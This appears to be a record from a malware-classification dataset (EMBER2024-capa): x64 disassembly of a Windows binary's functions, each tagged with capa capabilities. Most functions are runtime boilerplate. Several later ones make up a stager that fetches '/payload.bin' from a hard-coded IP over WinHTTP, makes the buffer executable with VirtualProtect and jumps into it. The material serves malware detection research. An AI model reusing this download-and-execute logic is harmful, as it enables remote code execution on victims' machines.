joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400140e0
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x14001411e
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x1400141d2
call fcn.140007f1c
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x14001413d
mov ecx, 0x80004005
call fcn.1400013d8
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14002f034
test eax, eax
je 0x1400141a5
cmp eax, 0xc
je 0x14001419f
cmp eax, 0x16
je 0x140014199
cmp eax, 0x22
je 0x140014199
cmp eax, 0x50
je 0x1400141a5
call fcn.140007dec
int3
call fcn.140007dec
int3
call fcn.140007da4
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x1400141d0
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14002d99c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140035238
nop
cmp dword [0x140d60748], 1
je 0x14002d948
mov dword [0x140d60744], 1
mov byte [0x140d60740], r12b
test ebx, ebx
jne 0x14002d934
mov rcx, qword [0x140d62b30]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14002d921
mov rcx, qword [0x140d62b28]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14002d8c0
call fcn.1400311c0
cmp qword [rdi], rax
jne 0x14002d8c0
jmp 0x14002d8a6
cmp rdi, rsi
jb 0x14002d921
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.1400311c0
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140d62b30]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140d62b28]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14002d8ff
cmp r13, rax
je 0x14002d91f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14002d8a6
lea rdx, [0x14004cdf8]
lea rcx, [0x14004cde0]
call fcn.14002d6f0
lea rdx, [0x14004ce08]
lea rcx, [0x14004ce00]
call fcn.14002d6f0
nop
test r12d, r12d
je 0x14002d957
mov ecx, 8
call fcn.140035138
test r12d, r12d
jne 0x14002d982
mov dword [0x140d60748], 1
lea ecx, [r12 + 8]
call fcn.140035138
mov ecx, r15d
call fcn.14002d684
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14002d810

Function at 0x14002d9a8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14002d810
Function at 0x140031713
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140067d70]
jne 0x14002caea
rol rcx, 0x10
test cx, 0xffff
jne 0x14002cae6
repz ret
ror rcx, 0x10
jmp 0x14003166c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140d60d30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140d60e28]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400316f1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140d60d30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140031713
mov rax, qword [rsp + 0x88]
mov qword [0x140d60e28], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140d60dc8], rax
mov rax, qword [0x140d60e28]
mov qword [0x140d60ca0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140d60db0], rax
mov dword [0x140d60c90], 0xc0000409
mov dword [0x140d60c94], 1
mov rax, qword [0x140067d70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140067d78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140d60d28], eax
mov ecx, 1
call fcn.14003a69c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140054930]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140d60d28], 0
jne 0x14003179a
mov ecx, 1
call fcn.14003a69c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140035d04
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x140035d3e
call fcn.14002eb08
and dword [rax], 0
call fcn.14002eae8
and qword [rsp + 0x20], 0
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.140031c78
mov eax, ebx
jmp 0x140035d8e
test edx, 0xfffffff9
jne 0x140035d11
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140035d67
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14002eb28
call fcn.14002eae8
mov eax, dword [rax]
jmp 0x140035d8e
test al, 0x10
jne 0x140035d8c
test al, 1
je 0x140035d8c
test bl, 2
je 0x140035d8c
call fcn.14002eb08
mov dword [rax], 5
call fcn.14002eae8
mov dword [rax], SafeArrayGetDim
jmp 0x140035d5e
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14003a1bc
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400311c0
xor ebx, ebx
mov rdi, rax
cmp qword [0x140d615c0], rbx
jne 0x14003a2c2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14003a397
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003a397
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140054c30]
mov rcx, rsi
mov qword [0x140d615c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140054c18]
mov rcx, rsi
mov qword [0x140d615c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140d615d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140d615e0], rax
test rax, rax
je 0x14003a2b9
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140d615d8], rax
jmp 0x14003a2c9
mov rax, qword [0x140d615d8]
jmp 0x14003a2d0
mov rax, qword [0x140d615d8]
mov r11, qword [0x140d615e0]
cmp rax, rdi
je 0x14003a338
cmp r11, rdi
je 0x14003a338
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140d615e0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14003a338
test rax, rax
je 0x14003a338
call rsi
test rax, rax
je 0x14003a332
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14003a332
test byte [rsp + 0x38], 1
jne 0x14003a338
bts ebp, 0x15
jmp 0x14003a376
mov rcx, qword [0x140d615c8]
cmp rcx, rdi
je 0x14003a376
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003a376
call rax
mov rbx, rax
test rax, rax
je 0x14003a376
mov rcx, qword [0x140d615d0]
cmp rcx, rdi
je 0x14003a376
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003a376
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140d615c0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003a397
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14003a399
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140048efc
Capabilities:
Enumerate pe sections

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdx, qword [rcx]
mov esi, 1
xor ebx, ebx
movzx eax, word [rdx + 0x14]
mov r15, qword [rdx + 0x30]
mov r12, rcx
lea r9, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
mov r10d, dword [r9 + 8]
and r15, rax
mov eax, dword [r9 + 0x10]
or r10, r15
mov qword [r11 - 0x48], r10
mov r11d, dword [rcx + 0x24]
sub r11d, esi
not r11d
and r11, r10
mov qword [rsp + 0x28], r11
cmp eax, ebx
jne 0x140048f7a
test byte [r9 + 0x24], 0x40
je 0x140048f70
mov eax, dword [rdx + 0x20]
jmp 0x140048f7a
test byte [r9 + 0x24], 0x80
je 0x140048f7a
mov eax, dword [rdx + 0x24]
mov ecx, dword [r9 + 0x24]
mov r8d, eax
mov dword [rsp + 0x3c], ebx
mov qword [rsp + 0x30], r8
mov r13d, esi
mov dword [rsp + 0x38], ecx
cmp si, word [rdx + 6]
jae 0x14004904e
lea rdi, [r9 + 0x4c]
mov eax, dword [r12 + 0x24]
mov r14d, dword [rdi - 0x1c]
mov ebp, dword [rdi - 0x14]
sub eax, esi
or r14, r15
not eax
mov esi, eax
and rsi, r14
cmp ebp, ebx
jne 0x140048fcd
test byte [rdi], 0x40
je 0x140048fc5
mov ebp, dword [rdx + 0x20]
jmp 0x140048fcd
test byte [rdi], 0x80
je 0x140048fcd
mov ebp, dword [rdx + 0x24]
cmp r11, rsi
je 0x140049007
lea rax, [r8 + r10]
cmp rax, rsi
ja 0x140049007
lea rdx, [rsp + 0x20]
mov rcx, r12
call fcn.140048e10
cmp eax, ebx
je 0x140049084
mov ecx, dword [rdi]
mov r10, r14
mov qword [rsp + 0x20], r14
mov r11, rsi
mov qword [rsp + 0x28], rsi
mov r8d, ebp
jmp 0x140049028
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140049019
bt ecx, 0x19
jae 0x140049019
or ecx, eax
jmp 0x14004901f
or ecx, eax
btr ecx, 0x19
mov r8d, ebp
sub r8, r10
add r8, r14
mov rdx, qword [r12]
mov esi, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r13d, esi
mov dword [rsp + 0x38], ecx
cmp r13d, eax
mov qword [rsp + 0x30], r8
jl 0x140048f9f
lea rdx, [rsp + 0x20]
mov rcx, r12
mov dword [rsp + 0x3c], esi
call fcn.140048e10
cmp eax, ebx
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor eax, eax
jmp 0x140049066
Function at 0x1400494f8
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [0x140d61710]
mov rcx, qword [rcx + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x140d618b8]
test rcx, rcx
je 0x140049581
lea rdx, [0x140502df8]
call fcn.140049088
test rax, rax
je 0x14004952e
call rax
mov rbx, qword [0x140d618b8]
test rbx, rbx
je 0x140049581
cmp dword [rbx + 0x1c], 0
je 0x140049556
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
xor r8d, r8d
mov r9d, dword [rax + 0x28]
xor edx, edx
add r9, rcx
call r9
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14004956d
xor edx, edx
mov r8d, 0x8000
call qword [0x140d61890]
call qword [0x140d618a8]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [0x140d618a0]
mov al, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140001005
Capabilities:
Initialize winhttp library

Disassembly:
jmp 0x140001050
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, rsp
movabs rcx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rcx + 0x18], rax
mov rcx, qword [rsp + 0x40]
movzx eax, word [rsp + 0x50]
mov word [rcx + 0x28], ax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x40]
mov qword [rax], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r11, rax
mov rax, qword [rsp + 0x40]
mov qword [rax], r11
mov rax, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140001014
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x1400013f0
push rdi
sub rsp, 0x80
mov rdi, rsp
movabs rcx, 0x20
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov ecx, 0x30
call fcn.1400021c8
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001451
lea r9, str._payload.bin
mov r8w, 0x118
lea rdx, str.27.124.44.10
mov rcx, qword [rsp + 0x50]
call fcn.140001005
mov qword [rsp + 0x70], rax
jmp 0x14000145a
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.140001019
test eax, eax
jne 0x14000149c
xor r9d, r9d
lea r8, [0x140027b50]
lea rdx, [0x140027b60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14000153a
mov rcx, qword [rsp + 0x20]
call fcn.14000101e
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400014d0
xor r9d, r9d
lea r8, [0x140027b70]
lea rdx, [0x140027b80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14000153a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140001502
mov edx, 1
mov rcx, qword [rsp + 0x58]
call fcn.14000100f
mov qword [rsp + 0x78], rax
jmp 0x14000150b
mov qword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov dword [rsp + 0x34], eax
mov edx, dword [rsp + 0x34]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140027ca0]
call fcn.14000177c
mov rax, rdi
add rsp, 0x80
pop rdi
ret
Function at 0x140001019
Capabilities:
Prepare http request

Disassembly:
jmp 0x140001190
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov rdi, rsp
movabs rcx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x40], 0
xor r9d, r9d
mov rax, qword [rsp + 0x60]
movzx r8d, word [rax + 0x28]
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx + 0x18]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 0x10], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x10], 0
je 0x140001283
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
mov r8, qword [r8 + 0x20]
lea rdx, [0x140027b08]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 8], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 8], 0
je 0x140001283
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add rsp, 0x50
pop rdi
ret

Function at 0x14000101e
Capabilities:
Receive http response

Disassembly:
jmp 0x1400012a0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rdi, rsp
movabs rcx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x80]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x44], 0
xor edx, edx
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400013c9
mov dword [rsp + 0x34], 0
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1400013be
cmp qword [rsp + 0x28], 0
jne 0x140001345
mov edx, dword [rsp + 0x34]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov r11, rax
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x44]
add eax, ecx
mov eax, eax
cmp r11, rax
jae 0x140001386
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x44]
add eax, ecx
mov edx, eax
mov r8d, 0x42
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x28]
add rdx, rax
lea r9, [rsp + 0x54]
mov r8d, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov r11d, dword [rsp + 0x54]
mov eax, dword [rsp + 0x44]
add eax, r11d
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x34], 0
ja 0x140001302
mov rax, qword [rsp + 0x28]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140027c40]
call fcn.14000177c
mov rax, rdi
add rsp, 0x70
pop rdi
ret
Function at 0x140001050
Capabilities:
Initialize winhttp library

Disassembly:
jmp 0x140001050
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, rsp
movabs rcx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rcx + 0x18], rax
mov rcx, qword [rsp + 0x40]
movzx eax, word [rsp + 0x50]
mov word [rcx + 0x28], ax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x40]
mov qword [rax], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r11, rax
mov rax, qword [rsp + 0x40]
mov qword [rax], r11
mov rax, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140001190
Capabilities:
Prepare http request

Disassembly:
jmp 0x140001190
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov rdi, rsp
movabs rcx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x40], 0
xor r9d, r9d
mov rax, qword [rsp + 0x60]
movzx r8d, word [rax + 0x28]
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx + 0x18]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 0x10], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x10], 0
je 0x140001283
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
mov r8, qword [r8 + 0x20]
lea rdx, [0x140027b08]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r11, rax
mov rax, qword [rsp + 0x60]
mov qword [rax + 8], r11
mov rax, qword [rsp + 0x60]
cmp qword [rax + 8], 0
je 0x140001283
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add rsp, 0x50
pop rdi
ret
Function at 0x1400012a0
Capabilities:
Receive http response

Disassembly:
jmp 0x1400012a0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rdi, rsp
movabs rcx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x80]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x44], 0
xor edx, edx
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400013c9
mov dword [rsp + 0x34], 0
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1400013be
cmp qword [rsp + 0x28], 0
jne 0x140001345
mov edx, dword [rsp + 0x34]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov r11, rax
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x44]
add eax, ecx
mov eax, eax
cmp r11, rax
jae 0x140001386
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x44]
add eax, ecx
mov edx, eax
mov r8d, 0x42
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x28]
add rdx, rax
lea r9, [rsp + 0x54]
mov r8d, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov r11d, dword [rsp + 0x54]
mov eax, dword [rsp + 0x44]
add eax, r11d
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x34], 0
ja 0x140001302
mov rax, qword [rsp + 0x28]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140027c40]
call fcn.14000177c
mov rax, rdi
add rsp, 0x70
pop rdi
ret
Function at 0x1400013f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400013f0
push rdi
sub rsp, 0x80
mov rdi, rsp
movabs rcx, 0x20
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov ecx, 0x30
call fcn.1400021c8
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001451
lea r9, str._payload.bin
mov r8w, 0x118
lea rdx, str.27.124.44.10
mov rcx, qword [rsp + 0x50]
call fcn.140001005
mov qword [rsp + 0x70], rax
jmp 0x14000145a
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.140001019
test eax, eax
jne 0x14000149c
xor r9d, r9d
lea r8, [0x140027b50]
lea rdx, [0x140027b60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14000153a
mov rcx, qword [rsp + 0x20]
call fcn.14000101e
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400014d0
xor r9d, r9d
lea r8, [0x140027b70]
lea rdx, [0x140027b80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14000153a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140001502
mov edx, 1
mov rcx, qword [rsp + 0x58]
call fcn.14000100f
mov qword [rsp + 0x78], rax
jmp 0x14000150b
mov qword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov dword [rsp + 0x34], eax
mov edx, dword [rsp + 0x34]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140027ca0]
call fcn.14000177c
mov rax, rdi
add rsp, 0x80
pop rdi
ret